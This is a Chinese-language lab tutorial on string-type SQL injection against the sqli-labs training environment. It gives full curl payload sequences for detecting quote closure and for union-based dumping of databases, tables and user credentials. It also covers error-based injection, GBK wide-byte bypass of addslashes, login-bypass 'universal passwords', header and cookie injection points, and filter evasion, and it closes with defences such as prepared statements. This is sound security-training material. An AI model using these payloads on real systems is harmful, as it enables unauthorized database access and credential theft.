02 字符型注入 — 考点精讲

前置知识:01-整数型注入 — 先掌握 union 五步流程,本篇只解决”如何逃出引号”

关联教程:SQL注入实战 · 03-报错注入

漏洞原理

参数是字符串,被引号包裹后拼进 SQL:

<?php
$username = $_GET['username'];
$sql = "SELECT * FROM users WHERE username = '$username'";
?>

输入 admin 执行:

SELECT * FROM users WHERE username = 'admin'

输入 admin' and '1'='1 执行:

SELECT * FROM users WHERE username = 'admin' and '1'='1'

第一个 ' 提前闭合了原引号,后半段 and '1'='1' 逃逸为 SQL 语法。与整数型的唯一区别就是多了一步闭合:payload 必须先”配平”引号再追加逻辑,最后用注释符吃掉尾部多余结构。

本章靶场对照:sqli-labs Less-1(GET 字符型单引号闭合,有回显位)与 Less-5(单引号闭合但无回显位)。以下 curl 以 Less-1 为主线演示五步全流程。

闭合方式判断表

源码中包裹参数的写法常见四种,payload 要与之一一对应:

源码写法SQL 形态闭合 payload注释后的完整 payload
'$id'where u='xxx'1'1' and 1=2 --+
"$id"where u="xxx"1"1" and 1=2 --+
('$id')where u=('xxx')1')1') and 1=2 --+
("$id")where u=("xxx")1")1") and 1=2 --+

少见变式还有双括号 1'))、混合 '$id") 等,按报错信息推断即可。

注释符表格

注释掉语句尾部多余的引号和 LIMIT 等结构,是闭合的最后一步:

注释符说明URL 中注意事项
-- ANSI 标准注释符必须跟一个空格才生效;URL 里空格要写成 %20 或用 --%20
--+GET 场景常用URL 解码时 + 变成空格,等价于 --
%23(#)MySQL 专属行注释# 是 URL 片段符会被浏览器截断,必须编码为 %23
/**/内联注释(非行注释)不能用于注释尾部,常用来代替空格绕 WAF
/*!50000 ...*/版本注释MySQL 5.0+ 会执行其中内容,关键字绕过利器

记忆要点:GET 参数里永远用 --+%23,POST 表单里可以直接用 -- #

闭合判断流程示意

四种闭合方式的排查顺序与依据:

flowchart TD
    A[参数后加单引号] --> B{有报错原文?}
    B -->|有| C[读报错 near 部分<br/>反推包裹符号]
    B -->|无| D[页面异常?]
    D -->|是| E[盲试 1双引号 1单引号加括号<br/>1双引号加括号]
    D -->|否| F[参数可能未进 SQL<br/>或被转义转宽字节]
    C --> G[恒真恒假验证闭合]
    E --> G
    G --> H{真假可区分?}
    H -->|是| I[注释符收尾 --+ 或 %23]
    H -->|否| J[换下一种闭合重试]
    I --> K[进入五步方法论]

判断闭合的 curl 对比法

标准三步定位法全部可以用 curl 完成。以 Less-1 为例:

# Step A: 加单引号看报错
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1'"

预期输出关键片段:

You have an error in your SQL syntax; check the manual ... near ''1'' LIMIT 0,1' at line 1

报错原文 near ''1'' LIMIT 0,1' 反推源码结构:select ... where id='$id' LIMIT 0,1——单引号包裹 + 尾部 LIMIT,所以闭合用 '、收尾必须加注释符。

# Step B: 恒真恒假验证闭合是否正确(注意引号配平写法)
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1' and '1'='1"
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1' and '1'='2"

预期:第一条返回 Dumb 用户信息,第二条空白。真假有差异 → 单引号闭合确认。

# Step C: 注释符收尾验证(更常用的配平方式)
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+"
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+"

两条响应不同且第一条正常 → 注释有效,可以进入五步流程。

若 Step A 无报错但页面异常,依次换 1" / 1') / 1") 重复上述测试;所有引号都无反应则可能被 addslashes 转义(跳到宽字节小节)或参数根本没进 SQL。

五步方法论完整实操(Less-1)

闭合确认为 1' ... --+ 后,套用统一五步骨架,每条 payload 都要带上闭合与注释。

Step 1 确认注入存在:恒真/恒假对比

# 恒真:返回 Dumb 用户
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+"
 
# 恒假:空白页
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+"
 
# 只比大小更直观
curl -s -o /dev/null -w "%{size_download}\n" "http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+"
curl -s -o /dev/null -w "%{size_download}\n" "http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+"
# 两次数值不同 -> 注入成立

Step 2 探测列数 order by

# 正常 → 至少 3 列
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+"
 
# 报错 Unknown column '4' in 'order clause' → 列数 = 3
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+"

Step 3 获取当前数据库名

# 先探回显位
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+"
 
# 库名放进第 2 回显位,user() 放第 3 位
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+"

Less-1 实际输出:

Your Login name: security
Your Password: security@localhost

Step 4 根据库名获取表名

curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+"

输出:

Your Login name: emails,referers,uagents,users

也可以不写字典名直接用 table_schema=database(),还能顺带绕开引号过滤:

curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+"

Step 5 根据表名获取列名再提取数据

# 爆 users 表列名
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+"
# 输出: id,username,password
 
# 提取数据,0x3a 冒号分隔
curl -s "http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+"

五步走完,14 条账号密码全部到手。注意与整数型唯一的不同:每条 URL 多了 ' 闭合前缀和 --+ 收尾,中间逻辑一模一样。

Less-5 场景:无回显位怎么办

curl -s "http://127.0.0.1/sqli-labs/Less-5/?id=-1' union select 1,2,3 --+"

页面只显示 You are in...,没有把 2 和 3 打出来——union 执行了但没有回显位。此时按选择逻辑换路线:

flowchart TD
    A[Less-5 闭合成功] --> B{union 有回显位?}
    B -->|无回显| C{加引号有报错原文?}
    C -->|有 mysqli_error| D[报错注入路线<br/>updatexml/extractvalue<br/>见 03 章]
    C -->|无报错| E{真假页面可区分?}
    E -->|You are in / 空白| F[布尔盲注路线<br/>见 04 章]
    E -->|完全一样| G[时间盲注路线<br/>见 05 章]

Less-5 报错可见,所以首选报错注入:

curl -s "http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),1) --+"
# XPATH syntax error: '~security'

完整报错流程见 03-报错注入,此处只需记住判断依据:闭合相同、注释相同,只是数据出口从回显位换成错误信息

宽字节绕过(引号被转义时)

后端对参数做了 addslashes 或开启 magic_quotes_gpc 时,' 会变成 \'(0x5c27),单引号无法逃逸:

输入: admin'          → 拼接为 admin\'      → 引号被转义失效
输入: admin%df'       → 拼接为 admin%df%5c%27
                        %df%5c 在 GBK 中是合法汉字
                        → 变成 汉字 + ',单引号成功逃逸!

curl 示例(假设某 GBK 靶场的搜索接口 /search.php?name=):

# 直接注入被转义,无反应
curl -s "http://127.0.0.1/search.php?name=admin' and 1=1 --+"
 
# 宽字节:%df 吃掉反斜杠,%27 就是单引号的编码
curl -s "http://127.0.0.1/search.php?name=admin%df%27%20and%201=1%20--+"
curl -s "http://127.0.0.1/search.php?name=admin%df%27%20and%201=2%20--+"
# 两条响应不同 → 宽字节逃逸成功,后续 payload 把 1' 全部换成 1%df%27 即可

利用条件:数据库连接编码为 GBK 系列(如 SET NAMES gbk),%df 可换成 %bf%aa 等。UTF-8 连接下宽字节无效,只能找无引号上下文(如 and length(database())=4 数字比较)绕过,转入盲注思路。

万能密码(POST 场景)

登录框是 POST 字符型注入的重灾区。curl 用 -d 发 POST 体,body 内注释符不需要 URL 编码:

# 用户名填万能密码,密码随便
curl -s "http://127.0.0.1/login.php" \
     -d "uname=admin' or 1=1 #&passwd=anything"

拼接结果:

SELECT * FROM users WHERE username='admin' or 1=1 #' AND password='xxx'
-- 返回第一行记录,直接登录成功

变体速记:

admin' or 1=1 #          经典款
' or 1=1 #               不需要知道用户名
admin') or 1=1 #         括号闭合款
admin" or 1=1 #          双引号款
' or 1=1 limit 1 #       多行时锁定第一行

POST 注入同样可以跑五步法,例如 uname 处爆库:

curl -s "http://127.0.0.1/login.php" \
     -d "uname=x' union select database(),user() #&passwd=a"

POST 完整五步示例(假设登录后查询为 3 列):

URL="http://127.0.0.1/sqli-labs/Less-11/"
 
# Step1 恒真恒假
curl -s "${URL}" -d "uname=1' and 1=1 #&passwd=a"
curl -s "${URL}" -d "uname=1' and 1=2 #&passwd=a"
 
# Step2 order by 探列数(报错与否看响应差异)
curl -s "${URL}" -d "uname=1' order by 2 #&passwd=a"
curl -s "${URL}" -d "uname=1' order by 3 #&passwd=a"
 
# Step3 爆库
curl -s "${URL}" -d "uname=x' union select database(),user() #&passwd=a"
 
# Step4 爆表
curl -s "${URL}" -d "uname=x' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #&passwd=a"
 
# Step5 爆列取数
curl -s "${URL}" -d "uname=x' union select group_concat(username,0x3a,password),2 from users #&passwd=a"

GET 与 POST 的 payload 完全同构,唯一区别就是载体:GET 拼 URL、POST 用 -d,且 POST body 里注释符 #-- 都无需编码。

GET 与 POST 场景差异

维度GET 注入POST 注入
参数位置URL 查询串 ?u=xxx请求体 u=xxx&p=yyy
curl 写法拼 URL-d "u=xxx&p=yyy"
编码要求引号可省略编码,空格用 %20/+,# 必须 %23原样写入 body,注释符无需 URL 编码
注释符选择--+%23-- # 都可以
常见位置搜索、翻页、详情页 id登录框、注册框、留言板
Cookie/Header 位少见-b "trace=xxx"-A-H 'Referer: ...' 同样可能存在注入

Cookie 与 UA 注入点测试示例(sqli-labs Less-18/20 类场景):

# UA 位注入
curl -s "http://127.0.0.1/sqli-labs/" -A "' and updatexml(1,concat(0x7e,database()),1) and '1'='1"
 
# Cookie 位注入
curl -s "http://127.0.0.1/sqli-labs/" -b "uname=admin' and updatexml(1,concat(0x7e,database()),1)#"

CTF 例题思路表

题目特征思路
输入单引号页面报错,报错带 LIMIT 字样从报错反推闭合方式,按本篇三步走
输入单引号无反应,双引号报错双引号闭合,其余不变
引号全部被转义(‘)且连接为 GBK宽字节注入 %df%27 吃掉反斜杠
引号被转义且为 UTF-8 连接找无引号场景:布尔盲注用数字比较 and length(database())=4
登录框提示用户不存在/密码错误两种不同文案万能密码 xx' or 1=1 # 直接进后台
关键字被过滤(union/select 被删)双写 uniunionon、大小写 UniOn、内联注释 un/**/ion、等价函数 mid()/left() 替代 substr
空格被过滤%20%0a(换行)、%09(tab)、/**/ 注释替代
页面无回显位但有报错闭合不变,转 03-报错注入

例题完整流程示范(sqli-labs Less-5)

1. ?id=1'                          → 报错 near ''1'' LIMIT 0,1
                                     反推源码: select ... where id='$id' LIMIT 0,1
2. ?id=1' and '1'='1               → 正常;?id=1' and '1'='2 → 异常
3. ?id=1' order by 4 --+           → 报错;order by 3 --+ 正常 → 3 列
4. ?id=1' union select 1,2,3 --+   → 页面无回显位(只显示 You are in)
                                     有报错回显 → 转 [[03-报错注入|03-报错注入]]

结论:闭合判断是所有字符型题目的第一步,判断完再根据”有无回显位/有无报错”选择 union 或报错或盲注路线。

常见坑位速查

现象原因解决
--+ 注释后仍报语法错误目标做了二次 URL 解码,+ 未还原成空格改用 %23--%20
payload 里写 # 完全失效浏览器/curl 把 # 当 URL 片段截断必须 %23
and '1'='1 页面异常闭合符号猜错了1" / 1') / 1") 重试
宽字节 %df 无效连接编码其实是 UTF-8放弃宽字节,找无引号上下文转盲注
union 正常执行但无数据前半句仍有结果id 用 -1' 让主查询为空
万能密码登录失败密码字段也校验或 md5 后比较换注入点在密码框:xx' or 1=1 # 填密码位
POST 数据含 & 被截断payload 中有 & 被当成参数分隔符URL 编码 & 为 %26,或 payload 里避免 &
curl 中文乱码响应编码问题|\ iconv -f gbk -t utf-8 转码查看

自动化:sqlinject.py 工具

手工五步熟练后,可用自制工具一键完成(工具源码与用法见 ~/hackingtools/web/injection/sqlinject(GitHub: missercatos/tools,本地位于仓库外 /home/a/hackingtools),位于 ~/hackingtools/web/injection/sqlinject,支持 -h/—help 查看完整指南):

# Less-1 场景:字符型 union 路线一键打穿
./sqlinject.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1'"
 
# Less-5 场景:无回显位,指定报错注入模式
./sqlinject.py -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" --error
 
# 引号被转义的宽字节场景
./sqlinject.py -u "http://127.0.0.1/search.php?name=admin" --wide-byte

工具会自动尝试四种闭合方式并选定可用者,随后按五步方法论推进。手工先判闭合再用工具,效率和理解兼得。

防御手段

addslashes 的局限性

<?php
$username = addslashes($_GET['username']);
$sql = "SELECT * FROM users WHERE username = '$username'";
?>

addslashes 把 ' 变成 \',看似安全,但有两大坑:

局限说明
宽字节绕过GBK 编码下 %df%5c 组成合法汉字,%df' 输入后变成 %df\'%df%5c 被吃掉,' 成功逃逸
不防无引号场景若参数拼在数字上下文(如 limit、order by),转义引号毫无作用

正确做法依然是预编译:

<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :name');
$stmt->execute([':name' => $username]);
?>

外加两点:数据库连接统一使用 UTF-8(杜绝宽字节)、错误信息不回显到页面。


返回 SQL 总目录